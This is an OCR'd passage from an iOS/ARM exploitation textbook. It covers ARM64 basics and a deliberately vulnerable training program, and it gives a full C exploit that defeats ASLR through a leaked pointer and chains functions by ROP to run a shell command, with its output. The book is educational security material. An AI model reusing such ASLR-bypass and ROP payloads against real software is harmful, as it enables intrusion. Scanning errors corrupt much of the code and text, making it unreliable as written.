Thread 0 Crashed:

0 722 0x43434342 0x00000000 + 0x43434342
Thread 0 crashed with ARM Thread State (32-bit):
rd: 0x0000be98 rl: 0x43434343 r2: 0x00000100 r3: 0x00000040
r4: 0x00000000 r5: 0x0011080c ré6: 0x00000000 r7: 0x0011084c
r8; 0x0011084c r9: 0x3c2df590 rl0: 0x00000000 rll: 0x00000000
ip: 0x00012068 sp: 0x00110850 1r: 0x0000bead pPc: 0x43434342

cpsr: 0x40000030
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conclusion

Thinking creatively and in an ‘out of the box’ way is a crucial
gkill when developing exploits and thinking of new methods to
achieve a desired outcome.

In this chapter we have discussed how code re-use attacks are not
1imited to the standard Return Oriented Programming technique.
with a bit of creative thinking it is possible for an attacker to
carry out a code reuse attack without making use of any standard
ROP gadgets at all, and instead gadgets that do not even end with
a return instruction.

1t is actually possible to use ROP, JOP and other code re-use
methods all in conjunction with each other in the same exploit
payload!

So when constructing a payload for an exploit, do not limit
yourself to using only standard ROP gadgets. You may find other
useful ways to achieve your desired outcome or even improve your
payload’s efficiency by making use of other techniques.
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ARM64 Basics

If you have read up until this chapter, you would have noticed
that this book (and the previous) has only ever covered
exploitation of memory corruption bugs while making reference to
the 32-bit ARM architecture - specifically the ARMv7 instruction
set.

Although there are a huge number of devices still running on these
architectures in the modern world, the majority of smart phones
and mobile devices manufactured in the last few years have almost
all been running on 64-bit ARM architectures.

So as a final chapter, we will take a look at the basics of the
ARMv8 instruction set (also referred to as ARM64) and see how it
compares to the ARMv7 instruction set that you should be familiar
with.

Registers

Just like ARMv7, in the ARMv8 instruction set there are several
general purpose registers, however instead of them being referred
to as R@, R1, R2 etc, they are referred to as X0-X28 (in a 64-bit
context) and WO-W28 (in a 32-bit context).

The ‘X' registers can be used to hold a 64-bit binary value
whereas the ‘W’ registers have their upper 32 bits cleared and
thus essentially act as a 32-bit register capable of holding a 32-
bit value.

These general purpose registers can be used to store any values

that the programmer desires. The first 8 registers (X0 - X7) are
17
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o

normally used to hold arguments passed to functions (just like R@
_ R3 on ARMv7).

| ARMv8 also has the same special purpose registers as ARMv7 does.
| The X29 register is used as the frame pointer, which stores the
old stack pointer value before a function is called.

The X30 register is used as the link register, which stores the
address of where code execution should resume after a called
function returns.

The stack pointer is its own register and actually shares its
encoding with a dedicated ‘zero register’ (which essentially acts
as a constant value of @).

And unlike ARMv7, in the ARM64 instruction set there is no PC
(Program Counter) register that is directly accessible to the
programmer. 0f course, this register still exists but it cannot be
directly modified in an ARM64 assembly program like it can in on
ARMV7.

For example, in a 32-bit ARM assembly program it would be possible
to ‘MOV’ a value into R15 (the Program Counter) manually as an
alternative to using one of the ‘B’ (branch) instructions.

On ARM64, the only way to affect the flow of the program is to use
these branch instructions or the dedicated ‘ret’ instruction.

|
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Instructions

Anyone with basic knowledge of 32-bit ARM assembly should be able
to read and understand 64-bit ARM assembly without too much
trouble. There are a few notable differences but nothing too
drastic.

Take a look at the following C program:

#include <stdio.h>
int main(){
printf("Hello\n");

return 9;

This program has only one function and makes a call to printf() to
display “Hello” on the screen. .

Below is the disassembly of the main() function for both ARMv7 and
ARMv8, taken from Hopper disassembler.

Disassembly of main() (ARMv7):

_main:
0000bf96 push {r7, 1r}
0000bT98 mov r7, sp
0000bf9a sub sp, #0x8
0000bfac movw ro, #0x50
0000hfa0 movt rg, #0xo
0000bfa4d add re, pc
0000bfab movs rl, #0xe
0000bfa8 str r1, [sp, #0x8 + var_4]
0000bTaa blx imp___picsymbolstub4__printf
0008bfae movs rl, #0xe
2000bfbe str re, [sp, #0x8 + var_8]
0000bfb2 mov re, ri
0000bfb4 add sp, #0x8
0000bTb6 pop {r7, pc}
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pisassembly of main() (ARMv8):

main:

0000000100007 f4c sub sp, sp, #6x20

| 0000000100007 150 stp x29, x30, [sp, #0x10]
0000000100007 54 add Xx29, sp, #0x10
0000000100007158 stur wzr, [x29, #-0x4]
0000000100007 f5¢ adrp X0, #0x100007000
0000000100007 60 add x0, x@, #0xfbe
0000000100007 f64 bl imp___ stubs__printf
0000000100007168 movz w8, #0x0
0000000100007 f6C str wd, [sp, #0x8]
0000000100007T70 mov x0, x8
0000000100007174 1dp x29, x30, [sp, #0x10]
0000000100007178 add sp, sp, #0x20
0000000100007 f7C ret

The first difference we can notice straight away is the simple
fact that in the ARMv8 disassembly the memory addresses are 64
bits wide as oppose to 32 bits.

As for the actual code, there are several differences there too.

Function Prologue Comparison

Starting with the function prologue in both disassemblies, we can
immediately see that both instruction sets have different ways of
interacting with the stack.

In the ARMv7 instruction set we use the ‘PUSH’ instruction to add
new items to the top of the stack.

_main:
push {r7, 1r}

This single ‘PUSH {R7, LR}’ instruction takes the values inside R7
and LR (R14) and adds them to the top of the stack.
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In the ARMv8 instruction set, however, we do not have a ‘PUSH’
instruction. Instead, the same functionality is achieved through
the use of these two instructions.

_main:
sub sp, sp, #0x20
stp x29, x30, [sp, #0x10]

The first ‘SUB SP, SP, #0x2@' instruction manually grows the stack
by @x20 (32 in decimal) bytes by subtracting that amount from the
stack pointer register. |

Next, we have a ‘STP' instruction (to store a pair of registers in
a specified location) that stores the values of X29 and X30 (the
Link Register) at the memory location pointed to by SP + 0x10.

These two instructions achieve the same outcome as the ‘PUSH’
example on ARMv7 - they both add items to the top of the stack,
however, ARMv8 does not have a ‘PUSH’ instruction due to stack
alignment issues. )

Function Epilogue Comparison

We see the same thing happen when removing items from the stack
and returning from a function.

pop {r7, pc}

Once again, on ARMv7 we see the use of a single ‘POP’ instruction
to remove the top two items from the stack and place them in the
specified registers.

This instruction also acts as one of the possible ‘return’
instructions in the ARMv7 instruction set. Since we can directly
modify the Program Counter in an ARMv7 assembly program, we can
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/poP’ the saved return address stored on the stack directly into
the PC (R15) register, as the above instruction demonstrates.

on ARMv8, we use two instructions for removing items from the
ctack, and a third to allow the function to return as we cannot
directly modify the Program Counter.

1dp x29, x30, [sp, #0x10]
add sp, sp, #0x20
ret

The ‘LDP’ instruction does the opposite of the ‘STP’ instruction
we just covered. It loads a pair of registers with values from the
memory location specified - in this case, SP + 0x10.

we then manually shrink the stack back to its original size by
‘ADD'ing 0x20 to the Stack Pointer.

Finally, to actually return from the function we make use of
ARMv8's ‘RET’ instruction. This instruction branches to X30 (the
Link Register) which happens to be one of the registers that was
just loaded with a value from the stack. Assuming that it was
loaded with a return address, execution will resume in the caller
function once the ‘RET’ has executed.

The remaining parts of the disassembly across the two
architectures are mostly identical with the only notable
differences being the instruction mnemonics and the register
names.

This is as much depth as we will go into on the ARMv8 instruction
| set as this is all the knowledge that should be required to apply
the exploitation techniques discussed in this book to 64-bit
programs.
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Return Oriented Programming on ARM64

The process of building ROP chains is usually very much the same
across different architectures, and especially similar when going
from ARMv7 to ARMvS.

These two instruction sets do not differ enough to make executing
ROP payloads on them any different. They have a similar set of
registers and similar calling convention and therefore any gadgets
used in a ROP chain for either of the architectures will appear
almost identical.

With the basics of the ARM64 architecture out of the way, we will
take a look at an adapted version of one of the earlier ROP
challenges that works on a 64-bit version of the binary.

The following exploit code is for a 64-bit version of ‘ROPLevell’
which, if you remember, is the simplest ROP challenge that
involves chaining together two gadgets (actually they're entire
functions in this case, but it’s the same idea), in order to
successfully execute a shell command on the target system.

The source code to this program is available on https://

github, com/Billy-Ellis/Exploit—-Challenges and is also listed on
the next page, so you can download it and compile it on your ARM64
device.

Note: due to the fact that the ARM64 i0S kernel prevents non-
position-independent binaries from executing, ASLR is essentially
in full-effect by default. For this reason, I have had to modify
the source code of ROPLevell to add an artificial information leak
(similar to the one shown in ROPLevel4 in the last book) to allow
us to defeat ASLR.

This may be different if you’re on another ARM64-based 0S, but in
my case, I will need to write an exploit program in C to help us
deal with the presence of ASLR (as we did in chapters 7&8 in
Volume I).
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source code of ROPLevell-64:
#include <stdlib.h>

#include <string.h>

#include <unistd.h>

char stringl64] = "date";

void change(}{

strepy(string, "1s;whoami"};
printf("string changed.\n");

}

void secret(){
printf("cexecuting string...\n"});
system(string);
exit(@);

int main(){
char *str = "leakme";
printf("Welcome to ROPLevell for ARM64! Created by Billy Ellis (Qbellisl@@e)\n");
FILE *f = fopen("./leak.txt","w");
fprintf(f, "%p",str);

fclose(f);

char buff[i2];
scanf("%s",buff);

return 9;
}

As shown in the source code above, a pointer to ‘str’ is leaked
and written to a .txt file. This is how we will calculate the ASLR
slide and adjust the addresses of our gadgets.
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Explo

itation

As you will see below, the exploit code is almost identical to the
exploit used against ROPLevel4 discussed in Chapter 7 of Volume I
in terms of its structure, so we will not spend any time here
discussing how to write it.

Source code of sploit_ropl_64.c:

#include
#include
#include
#include

int main

<stdio.h>

<string.h>
<unistd.h>
<stdlib.h>

04

unsigned char payload[512] = {

};

Bx41,0x41,0x41,0x41,
Ox41,0x41,0x41,0x41,
Ox41,0x41,0x41,0x41,
Ox41,0x41,0x41,0x41,
Ox41,0x41,0x41,0x41,
Ox41,0x41,0x41,0x41,
Bx41,0x41,0x41,0x41,
Bx41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,
Ox41,0x41,0x41,0x41,
Ox41,0x41,0x41,0x41,
oxff,oxff,oxff,0x00,
@x01,09x00,0x00,0x00,
oxff,oxff,oxff,ox00,

//

padding...

padding...

padding...

padding...

padding. ..

padding...

padding...

padding...

padding...

padding...

padding...

placeholder for change()
fixed part of change()
placeholder for secret()

0x01,0x00,0x00,0x00 // fixed part of secret()

long long fixedLeak = 9x0080000100007158;

long

long fixedChange =

0x0000000100007d28;

long long fixedSecret = 0x0000000100007d68;

long long realChange,realSecret,addr,slide;

int

fd[2]1;

pid_t pidi;
pipe(fd);

pidl = fork();

if (

pidl == @) {
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close(fd[11);
dup2(fdlel,0);

//execute roplevell
execv("./roplevell", NULL);

, //wait for file to be created
sleep(1);

//read leaked address
FILE xfile = fopen("./leak.txt","r");
char readDatal64];
{ fgets(readData, 64,file);
fclose(file);
sscanf(readData, "%11x",&addr);
printf("[*] Leaked address is @x%llx\n",6 addr);

slide = addr - fixedLeak;
printf("[*] ASLR slide is @x%llx\n",6 slide);

printf("[*] Calculating gadget addresses...\n");

realChange = fixedChange + slide;
printf{"[*] change() is at 8x%llx\n",realChange);
realSecret = fixedSecret + slide;
printf("[*] secret() is at Ox%llx\n",realSecret);

// change()
| unsigned int cOne
1 unsigned int cTwo
{
|
|

realChange & Oxff;
(realChange >> 8) & Oxff;
unsigned int cThree = (realChange >> 16) & 8xff;
// secret()

unsigned int sOne = realSecret & Oxff;

unsigned int sTwo = (realSecret >> B) & Oxff;
unsigned int sThree = (realSecret >> 16) & oxff;

printf("[%] Done! Building payload...\n");

payload[44] = cOne;
payload[45] = cTwo;

payload[46] = cThree;
payload[52] = sOne;
payload[53] = sTwo;
payload[54] = sThree;
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printf("{*] Payload crafted!\n[x] Executing...\n");
write(fd[1],payload,512);

return 9;

The only significant difference between this code and the code to
exploit the ARMv7 equivalent is the use of the ‘long long’' data
types which is used to hold the 64-bit memory address values.

Compiling and executing our exploit produces the following output:

Billys-iPhone:/var/mobile root# ./sploit
Helcome to ROPLevell for ARM64! Created by Billy Ellis (@bellis1000)
Leaked address is 0x100013f58
ASLR slide is 0xc000
Calculating gadget addresses...
change() is at 0x100013d28
| secret() is at 0x100013d68
Il Done! Building payload...
"] Payload crafted!
| Pwning...

string changed.

executing string...
| Billys-iPhone:/var/mobile root# Application Support
I sploit

Applications heap0.c sploitropléd.c
I i heap0.s test

The payload executes the two functions, and we achieve the same
successful outcome as we would on the 32-bit version!

127

https://t.me/learningnets
| - =




conclusion

In this chapter we have looked at the fundamentals of the ARMv8
architecture and compared it to ARMv7. We have looked at the
differences in registers, instruction mnemonics and discussed the
differences to consider when writing an exploit for a 64-bit ARM
program.

This chapter has explained that there are no drastic differences
between carrying out ROP on ARMv7 and ARMv8. However, keep in mind
that this chapter has only identified a few of the architectural
differences between ARMv7 and ARMv8. There are multiple other
differences between these two CPUs and instruction sets that you
will discover if you research into them further (such as the
support for Exception Levels EL@-E13, a topic for another book),
but the differences discussed in this chapter should be more than
enough to give you a basic understanding.
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Final Notes

This book has taken you through a variety of different memory
corruption vulnerability types, exploitation techniques and has
armed you with skills and tactics that will assist you when |
performing any kind of vulnerability research or exploit
development.

Even from the point of view of the average programmer, having this
knowledge will be highly beneficial when writing any code in the
future as you now have an insight and a deep understanding of how
the most subtle errors in a programmer’s code can produce critical
vulnerabilities and open doors to attackers.

For the casual readers out there who picked up this book to gain
some knowledge in the field of mobile software exploitation, I
hope you've found it useful and have learned a lot from it!

For the more active readers who not only picked up this book to
gain new knowledge but also to learn new skills that you can apply
in your work, I hope that you have found all of the example
vulnerable programs and code snippets beneficial to your learning
process. And if you haven’t yet tried out any of the example
programs on your own system, I urge you to do so as exploiting
them yourself will give you a whole other level of understanding
that even reading this book ten times over wouldn’t give you!

Almost all of the programs used as examples throughout this book
(and Volume I) can be downloaded from https://github.com/Billy-

Ellis/Exploit-Challenges. Most of them are compiled as ARMv7 Mach-
0 executables so you will have to run them on a 32-bit i0S device,
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‘ however the source code is also provided for many of the programs
| which you can use to compile your own version of each application
to run on another architecture or operating system.

As I mentioned at the end of the first book, I highly recommend

that you go on to experiment with some real life vulnerabilities
| and exploit them yourself, especially now since you have double
the knowledge (if not more) since reading Volume I!

Finally, I would like to say once again how grateful I am for
everyone who has supported me and my work by purchasing a copy of
this book! I sincerely hope you enjoyed it and found it to be
helpful in your journey to becoming a security researcher, reverse
engineer or even just a safer programmer!

Any feedback or questions you may have are welcome — you can
contact me via e-mail at billy®@zygosec.com or through Twitter
@bellis1000@.

- Billy Ellis

130

https://t.me/learningnets




References

https://github, com/Billy-Ellis/Exploit-Challenges

https://azeria-labs.com

http://codearcana.com/posts/2013/05/28/introduction—to-return-
oriented—programming—rop.html

https://liveoverflow.com

http: i =
httoss /7S] { thub. i0/cle
https://www.youtube,com/c/BillyE1lis

https://sploitfun.wordpress.com/2815/06/07/0ff-by—one—
vulnerability-stack—-based-2/

I s exgloit .

https://www.hopperapp.com

httns://hean—exnloitation.dhavalkanil.cam/attacksfdouble free.html

https://www.owasp.org/index.php/Double Free

https://en.wikipedia.org/wiki/Heap feng_shui

Eha i , Ki/E hui
https://www. youtube, com/watch?v=CmChP4xASX4&t=2263s
https://www. theiphonewiki.com/wiki/Firmware_Keys

https://aithub.com/planetbeing/xpwn/blob/master/ipsw-patch/
xpwntool.c

https://github.com/JonathanSalwan/R0OPgadget/tree/master

131

https://t.me/learningnets
B




[

What’s new in Volume II?

As with Volume I, this book aims to be a
resource for beginner hackers to learn about
the different types of memory corruption
vulnerabilities in software and the
techniques used to exploit them!

This book takes a step up from the previous
in terms of the complexity of the content
covered in each chapter. It is highly
recommended that the reader has read and
thoroughly understood the previous book
before reading this one.

Topics covered are:

integer overflows
off-by-one

double free()
stack pivoting
stack canaries
heap Feng Shui
kernel-level ROP
ROP variations
ARM64 fundamentals
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